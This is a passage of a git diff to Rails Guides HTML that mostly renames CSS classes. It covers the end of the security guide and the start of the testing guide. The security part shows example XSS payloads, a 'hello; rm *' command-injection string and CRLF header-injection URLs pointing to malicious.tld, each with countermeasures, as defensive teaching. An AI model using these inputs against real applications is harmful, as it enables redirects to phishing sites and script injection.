<pre><tt>For example, RedCloth translates _test_ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:</tt></pre>
@@ -1220,64 +1027,64 @@ s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))</tt
<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
=&gt; "&lt;script&gt;alert(1)&lt;/script&gt;"</tt></pre>
</div></div>
-<div class="para"><p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p></div>
+<div class="paragraph"><p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
=&gt; "alert(1)"</tt></pre>
</div></div>
-<div class="para"><p>However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:</p></div>
+<div class="paragraph"><p>However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&gt;&gt; RedCloth.new("&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;", [:filter_html]).to_html
=&gt; "&lt;p&gt;&lt;a href="javascript:alert(1)"&gt;hello&lt;/a&gt;&lt;/p&gt;"</tt></pre>
</div></div>
<h4 id="_countermeasures_5">8.5.1. Countermeasures</h4>
-<div class="para"><p>It is recommended to <span style="background-color: #fffcdb;">use RedCloth in combination with a whitelist input filter</span>, as described in the countermeasures against XSS.</p></div>
+<div class="paragraph"><p>It is recommended to <span style="background-color: #fffcdb;">use RedCloth in combination with a whitelist input filter</span>, as described in the countermeasures against XSS.</p></div>
<h3 id="_ajax_injection">8.6. Ajax Injection</h3>
-<div class="para"><p>&#8212; <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.</em></p></div>
-<div class="para"><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <span style="background-color: #fffcdb;">you have to escape the return value in the action</span>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p></div>
+<div class="paragraph"><p>-- <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn&#8217;t render a view.</em></p></div>
+<div class="paragraph"><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <span style="background-color: #fffcdb;">you have to escape the return value in the action</span>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p></div>
<h3 id="_rjs_injection">8.7. RJS Injection</h3>
-<div class="para"><p>&#8212; <em>Don't forget to escape in JavaScript (RJS) templates, too.</em></p></div>
-<div class="para"><p>The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <span style="background-color: #fffcdb;">If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()</span>. Otherwise an attacker could execute arbitrary JavaScript.</p></div>
+<div class="paragraph"><p>-- <em>Don&#8217;t forget to escape in JavaScript (RJS) templates, too.</em></p></div>
+<div class="paragraph"><p>The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <span style="background-color: #fffcdb;">If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()</span>. Otherwise an attacker could execute arbitrary JavaScript.</p></div>
<h3 id="_command_line_injection">8.8. Command Line Injection</h3>
-<div class="para"><p>&#8212; <em>Use user-supplied command line parameters with caution.</em></p></div>
-<div class="para"><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p></div>
-<div class="para"><p>A countermeasure is to <span style="background-color: #fffcdb;">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</span>.</p></div>
+<div class="paragraph"><p>-- <em>Use user-supplied command line parameters with caution.</em></p></div>
+<div class="paragraph"><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p></div>
+<div class="paragraph"><p>A countermeasure is to <span style="background-color: #fffcdb;">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</span>.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files</tt></pre>
</div></div>
<h3 id="_header_injection">8.9. Header Injection</h3>
-<div class="para"><p>&#8212; <em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div>
-<div class="para"><p>HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <span style="background-color: #fffcdb;">Remember to escape these header fields, too.</span> For example when you display the user agent in an administration area.</p></div>
-<div class="para"><p>Besides that, it is <span style="background-color: #fffcdb;">important to know what you are doing when building response headers partly based on user input.</span> For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:</p></div>
+<div class="paragraph"><p>-- <em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div>
+<div class="paragraph"><p>HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <span style="background-color: #fffcdb;">Remember to escape these header fields, too.</span> For example when you display the user agent in an administration area.</p></div>
+<div class="paragraph"><p>Besides that, it is <span style="background-color: #fffcdb;">important to know what you are doing when building response headers partly based on user input.</span> For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>redirect_to params[:referer]</tt></pre>
</div></div>
-<div class="para"><p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p></div>
+<div class="paragraph"><p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld</tt></pre>
</div></div>
-<div class="para"><p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p></div>
+<div class="paragraph"><p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld</tt></pre>
</div></div>
-<div class="para"><p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p></div>
+<div class="paragraph"><p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld</tt></pre>
</div></div>
-<div class="para"><p>So <span style="background-color: #fffcdb;">attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</span> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. <span style="background-color: #fffcdb;">Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.</span></p></div>
+<div class="paragraph"><p>So <span style="background-color: #fffcdb;">attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</span> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. <span style="background-color: #fffcdb;">Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.</span></p></div>
<h4 id="_response_splitting">8.9.1. Response Splitting</h4>
-<div class="para"><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p></div>
+<div class="paragraph"><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>HTTP/1.1 302 Found [First standard 302 response]
@@ -1295,12 +1102,12 @@ Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html</tt></pre>
</div></div>
-<div class="para"><p>Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. <span style="background-color: #fffcdb;">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</span></p></div>
+<div class="paragraph"><p>Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can&#8217;t rely on this. <span style="background-color: #fffcdb;">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</span></p></div>
</div>
<h2 id="_additional_resources">9. Additional resources</h2>
<div class="sectionbody">
-<div class="para"><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p></div>
+<div class="ulist"><ul>
<li>
<p>
The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
@@ -1330,8 +1137,8 @@ Another <a href="http://www.0x000000.com/">good security blog</a> with some Chea
</div>
<h2 id="_changelog">10. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
November 1, 2008: First approved version by Heiko Webers
@@ -1340,7 +1147,7 @@ November 1, 2008: First approved version by Heiko Webers
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/testing_rails_applications.html b/railties/doc/guides/html/testing_rails_applications.html
index a94c81dc5f..16822904fc 100644
--- a/railties/doc/guides/html/testing_rails_applications.html
+++ b/railties/doc/guides/html/testing_rails_applications.html
@@ -1,262 +1,133 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>A Guide to Testing Rails Applications</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>A Guide to Testing Rails Applications</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_why_write_tests_for_your_rails_applications">Why Write Tests for your Rails Applications?</a>
- </li>
- <li>
- <a href="#_introduction_to_testing">Introduction to Testing</a>
- <ul>
-
- <li><a href="#_the_3_environments">The 3 Environments</a></li>
-
- <li><a href="#_rails_sets_up_for_testing_from_the_word_go">Rails Sets up for Testing from the Word Go</a></li>
-
- <li><a href="#_the_low_down_on_fixtures">The Low-Down on Fixtures</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_unit_testing_your_models">Unit Testing your Models</a>
- <ul>
-
- <li><a href="#_preparing_you_application_for_testing">Preparing you Application for Testing</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_brief_note_about_test_unit">Brief Note About Test::Unit</a>
- </li>
- <li>
- <a href="#_setup_and_teardown">Setup and Teardown</a>
- </li>
- <li>
- <a href="#_testing_routes">Testing Routes</a>
- </li>
- <li>
- <a href="#_testing_your_mailers">Testing Your Mailers</a>
- <ul>
-
- <li><a href="#_keeping_the_postman_in_check">Keeping the Postman in Check</a></li>
-
- <li><a href="#_unit_testing">Unit Testing</a></li>
-
- <li><a href="#_functional_testing">Functional Testing</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_other_testing_approaches">Other Testing Approaches</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>A Guide to Testing Rails Applications</h1>
- <div id="preamble">
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_why_write_tests_for_your_rails_applications">Why Write Tests for your Rails Applications?</a>
+ </li>
+ <li>
+ <a href="#_introduction_to_testing">Introduction to Testing</a>
+ <ul>
+
+ <li><a href="#_the_3_environments">The 3 Environments</a></li>
+
+ <li><a href="#_rails_sets_up_for_testing_from_the_word_go">Rails Sets up for Testing from the Word Go</a></li>
+
+ <li><a href="#_the_low_down_on_fixtures">The Low-Down on Fixtures</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_unit_testing_your_models">Unit Testing your Models</a>
+ <ul>
+
+ <li><a href="#_preparing_you_application_for_testing">Preparing you Application for Testing</a></li>
+
+ <li><a href="#_running_tests">Running Tests</a></li>
+
+ <li><a href="#_what_to_include_in_your_unit_tests">What to Include in Your Unit Tests</a></li>
+
+ <li><a href="#_assertions_available">Assertions Available</a></li>
+
+ <li><a href="#_rails_specific_assertions">Rails Specific Assertions</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_functional_tests_for_your_controllers">Functional Tests for Your Controllers</a>
+ <ul>
+
+ <li><a href="#_what_to_include_in_your_functional_tests">What to include in your Functional Tests</a></li>
+
+ <li><a href="#_available_request_types_for_functional_tests">Available Request Types for Functional Tests</a></li>
+
+ <li><a href="#_the_4_hashes_of_the_apocalypse">The 4 Hashes of the Apocalypse</a></li>
+
+ <li><a href="#_instance_variables_available">Instance Variables Available</a></li>
+
+ <li><a href="#_a_fuller_functional_test_example">A Fuller Functional Test Example</a></li>
+
+ <li><a href="#_testing_views">Testing Views</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_integration_testing">Integration Testing</a>
+ <ul>
+
+ <li><a href="#_helpers_available_for_integration_tests">Helpers Available for Integration tests</a></li>
+
+ <li><a href="#_integration_testing_examples">Integration Testing Examples</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_rake_tasks_for_running_your_tests">Rake Tasks for Running your Tests</a>
+ </li>
+ <li>
+ <a href="#_brief_note_about_test_unit">Brief Note About Test::Unit</a>
+ </li>
+ <li>
+ <a href="#_setup_and_teardown">Setup and Teardown</a>
+ </li>
+ <li>
+ <a href="#_testing_routes">Testing Routes</a>
+ </li>
+ <li>
+ <a href="#_testing_your_mailers">Testing Your Mailers</a>
+ <ul>
+
+ <li><a href="#_keeping_the_postman_in_check">Keeping the Postman in Check</a></li>
+
+ <li><a href="#_unit_testing">Unit Testing</a></li>
+
+ <li><a href="#_functional_testing">Functional Testing</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_other_testing_approaches">Other Testing Approaches</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>A Guide to Testing Rails Applications</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Understand Rails testing terminology
@@ -273,12 +144,12 @@ Identify other popular testing approaches and plugins
</p>
</li>
</ul></div>
-<div class="para"><p>This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.</p></div>
+<div class="paragraph"><p>This guide won&#8217;t teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.</p></div>
</div>
</div>
<h2 id="_why_write_tests_for_your_rails_applications">1. Why Write Tests for your Rails Applications?</h2>
<div class="sectionbody">
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
@@ -291,18 +162,18 @@ By simply running your Rails tests you can ensure your code adheres to the desir
</li>
<li>
<p>
-Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+Rails tests can also simulate browser requests and thus you can test your application&#8217;s response without having to test it through your browser.
</p>
</li>
</ul></div>
</div>
<h2 id="_introduction_to_testing">2. Introduction to Testing</h2>
<div class="sectionbody">
-<div class="para"><p>Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.</p></div>
+<div class="paragraph"><p>Testing support was woven into the Rails fabric from the beginning. It wasn&#8217;t an "oh! let&#8217;s bolt on support for running tests because they&#8217;re new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you&#8217;ll need to understand how to set up this database and populate it with sample data.</p></div>
<h3 id="_the_3_environments">2.1. The 3 Environments</h3>
-<div class="para"><p>Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.</p></div>
-<div class="para"><p>One place you'll find this distinction is in the <tt>config/database.yml</tt> file. This YAML configuration file has 3 different sections defining 3 unique database setups:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.</p></div>
+<div class="paragraph"><p>One place you&#8217;ll find this distinction is in the <tt>config/database.yml</tt> file. This YAML configuration file has 3 different sections defining 3 unique database setups:</p></div>
+<div class="ulist"><ul>
<li>
<p>
production
@@ -319,11 +190,11 @@ test
</p>
</li>
</ul></div>
-<div class="para"><p>This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.</p></div>
-<div class="para"><p>For example, suppose you need to test your new <tt>delete_this_user_and_every_everything_associated_with_it</tt> function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?</p></div>
-<div class="para"><p>When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running <tt>rake db:test:prepare</tt>.</p></div>
+<div class="paragraph"><p>This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.</p></div>
+<div class="paragraph"><p>For example, suppose you need to test your new <tt>delete_this_user_and_every_everything_associated_with_it</tt> function. Wouldn&#8217;t you want to run this in an environment where it makes no difference if you destroy data or not?</p></div>
+<div class="paragraph"><p>When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running <tt>rake db:test:prepare</tt>.</p></div>
<h3 id="_rails_sets_up_for_testing_from_the_word_go">2.2. Rails Sets up for Testing from the Word Go</h3>
-<div class="para"><p>Rails creates a <tt>test</tt> folder for you as soon as you create a Rails project using <tt>rails <em>application_name</em></tt>. If you list the contents of this folder then you shall see:</p></div>
+<div class="paragraph"><p>Rails creates a <tt>test</tt> folder for you as soon as you create a Rails project using <tt>rails <em>application_name</em></tt>. If you list the contents of this folder then you shall see:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -331,17 +202,16 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>$ ls -F <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">/</span>
-fixtures<span style="color: #990000">/</span> functional<span style="color: #990000">/</span> integration<span style="color: #990000">/</span> test_helper<span style="color: #990000">.</span>rb unit<span style="color: #990000">/</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>unit</tt> folder is meant to hold tests for your models, the <tt>functional</tt> folder is meant to hold tests for your controllers, and the <tt>integration</tt> folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the <tt>fixtures</tt> folder. The <tt>test_helper.rb</tt> file holds the default configuration for your tests.</p></div>
+fixtures<span style="color: #990000">/</span> functional<span style="color: #990000">/</span> integration<span style="color: #990000">/</span> test_helper<span style="color: #990000">.</span>rb unit<span style="color: #990000">/</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>unit</tt> folder is meant to hold tests for your models, the <tt>functional</tt> folder is meant to hold tests for your controllers, and the <tt>integration</tt> folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the <tt>fixtures</tt> folder. The <tt>test_helper.rb</tt> file holds the default configuration for your tests.</p></div>
<h3 id="_the_low_down_on_fixtures">2.3. The Low-Down on Fixtures</h3>
-<div class="para"><p>For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.</p></div>
+<div class="paragraph"><p>For good tests, you&#8217;ll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.</p></div>
<h4 id="_what_are_fixtures">2.3.1. What Are Fixtures?</h4>
-<div class="para"><p><em>Fixtures</em> is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: <strong>YAML</strong> or <strong>CSV</strong>. In this guide we will use <strong>YAML</strong> which is the preferred format.</p></div>
-<div class="para"><p>You'll find fixtures under your <tt>test/fixtures</tt> directory. When you run <tt>script/generate model</tt> to create a new model, fixture stubs will be automatically created and placed in this directory.</p></div>
+<div class="paragraph"><p><em>Fixtures</em> is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: <strong>YAML</strong> or <strong>CSV</strong>. In this guide we will use <strong>YAML</strong> which is the preferred format.</p></div>
+<div class="paragraph"><p>You&#8217;ll find fixtures under your <tt>test/fixtures</tt> directory. When you run <tt>script/generate model</tt> to create a new model, fixture stubs will be automatically created and placed in this directory.</p></div>
<h4 id="_yaml">2.3.2. YAML</h4>
-<div class="para"><p>YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the <strong>.yml</strong> file extension (as in <tt>users.yml</tt>).</p></div>
-<div class="para"><p>Here's a sample YAML fixture file:</p></div>
+<div class="paragraph"><p>YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the <strong>.yml</strong> file extension (as in <tt>users.yml</tt>).</p></div>
+<div class="paragraph"><p>Here&#8217;s a sample YAML fixture file:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -356,11 +226,10 @@ david<span style="color: #990000">:</span>
steve<span style="color: #990000">:</span>
name<span style="color: #990000">:</span> Steve Ross Kellock
birthday<span style="color: #990000">:</span> <span style="color: #993399">1974</span><span style="color: #990000">-</span><span style="color: #993399">09</span><span style="color: #990000">-</span><span style="color: #993399">27</span>
- profession<span style="color: #990000">:</span> guy with keyboard
-</tt></pre></div></div>
-<div class="para"><p>Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.</p></div>
-<h4 id="_erb_in_it_up">2.3.3. ERb'in It Up</h4>
-<div class="para"><p>ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.</p></div>
+ profession<span style="color: #990000">:</span> guy with keyboard</tt></pre></div></div>
+<div class="paragraph"><p>Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.</p></div>
+<h4 id="_erb_8217_in_it_up">2.3.3. ERb&#8217;in It Up</h4>
+<div class="paragraph"><p>ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -377,20 +246,18 @@ venus<span style="color: #990000">:</span>
mars<span style="color: #990000">:</span>
